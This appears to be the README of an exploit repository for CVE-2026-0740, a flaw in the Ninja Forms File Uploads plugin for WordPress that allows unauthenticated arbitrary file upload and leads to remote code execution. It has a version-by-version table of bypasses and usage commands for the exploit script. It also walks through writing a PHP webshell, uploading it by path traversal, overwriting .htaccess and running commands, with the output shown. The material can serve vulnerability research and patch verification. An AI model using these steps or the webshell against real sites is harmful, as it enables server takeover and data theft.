
Ninja Forms File Uploads <= 3.3.26 — Неаутентифицированная произвольная загрузка файлов, ведущая к RCE (CVE-2026-0740)
Эксплойт для CVE-2026-0740, обнаруженный Selim Lanouar (whattheslime).
Полное техническое описание читайте в статье в блоге Lexfo.
Этот репозиторий предоставлен исключительно для исследовательских и защитных целей.
Автор не несёт ответственности за неправомерное использование данной информации.
Плагин Ninja Forms - File Uploads для WordPress уязвим к неаутентифицированной произвольной загрузке файлов, приводящей к удалённому выполнению кода, во всех версиях до 3.3.26 включительно.
Уязвимость была первоначально обнаружена и зарегистрирована в версии 3.3.23. Эксплуатация проста вплоть до версии 3.3.24 (отсутствует проверка конечного имени файла). В версиях 3.3.25 и 3.3.26 были выпущены последовательные частичные исправления, однако полностью проблема устранена только в версии 3.3.27.
Цепочка эксплуатации уязвимости выглядит следующим образом:
nf_fu_get_new_nonce с произвольным field_id.nf_fu_upload проверяет расширение загружаемого файла (например, image.jpg), но позволяет клиенту переопределить конечное имя файла через POST-параметр (image_jpg).move_uploaded_file() без надлежащей санитизации, что позволяет использовать произвольные расширения и обход пути (../).| Вектор / Расширение | <= 3.3.24 | 3.3.25 | 3.3.26 | 3.3.27 |
|---|---|---|---|---|
Обход пути (../) | ПРОХОДИТ | - | - | - |
.php | ПРОХОДИТ | - | - | - |
.phtml, .phar | ПРОХОДИТ | ПРОХОДИТ | - | - |
.pht | ПРОХОДИТ | ПРОХОДИТ | ПРОХОДИТ | - |
.html, .svg, .js | ПРОХОДИТ | ПРОХОДИТ | ПРОХОДИТ | - |
Полную таблицу расширений и технические подробности см. в полной статье в блоге.
python3 -m venv .venv
.venv/bin/pip install -r requirements.txt
.venv/bin/python3 CVE-2026-0740.py -h
python3 CVE-2026-0740.py -t http://localhost:8000 -f test.txt
Файл будет сохранён в wp-content/uploads/ninja-forms/tmp/test.txt.
python3 CVE-2026-0740.py -t http://localhost:8000 -f webshell.php -d ../../../webshell.php
Файл будет сохранён в wp-content/webshell.php.
python3 CVE-2026-0740.py -t http://localhost:8000 -f evil-htaccess -d .htaccess
# 1. Detect version
httpx -fr -u http://localhost:8000 -ms 'file_uploads_nfpluginsettings-js' -er 'nfpluginsettings\.js\?ver=[\d\.]+' 2>/dev/null
http://localhost:8000 [nfpluginsettings.js?ver=3.3.24]
# 2. Write webshell
echo '<?php system($_GET["cmd"]); ?>' > /tmp/slime.php
# 3. Upload
python3 CVE-2026-0740.py -t http://localhost:8000 -f /tmp/slime.php -d ../ws.php
[2026-04-07] [20:20:11] [info] [http://localhost:8000] Fetch nonce for random field_id: 3711569793384815...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] Got ninja-forms-upload nonce: a320b7ed4a
[2026-04-07] [20:20:12] [info] [http://localhost:8000] Uploading slime.php as ../ws.php via POST parameter...
[2026-04-07] [20:20:12] [success] [http://localhost:8000] File uploaded at: http://localhost:8000/wp-content/uploads/ninja-forms/ws.php
# 4. Execute commands
curl http://localhost:8000/wp-content/uploads/ninja-forms/ws.php\?cmd\=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)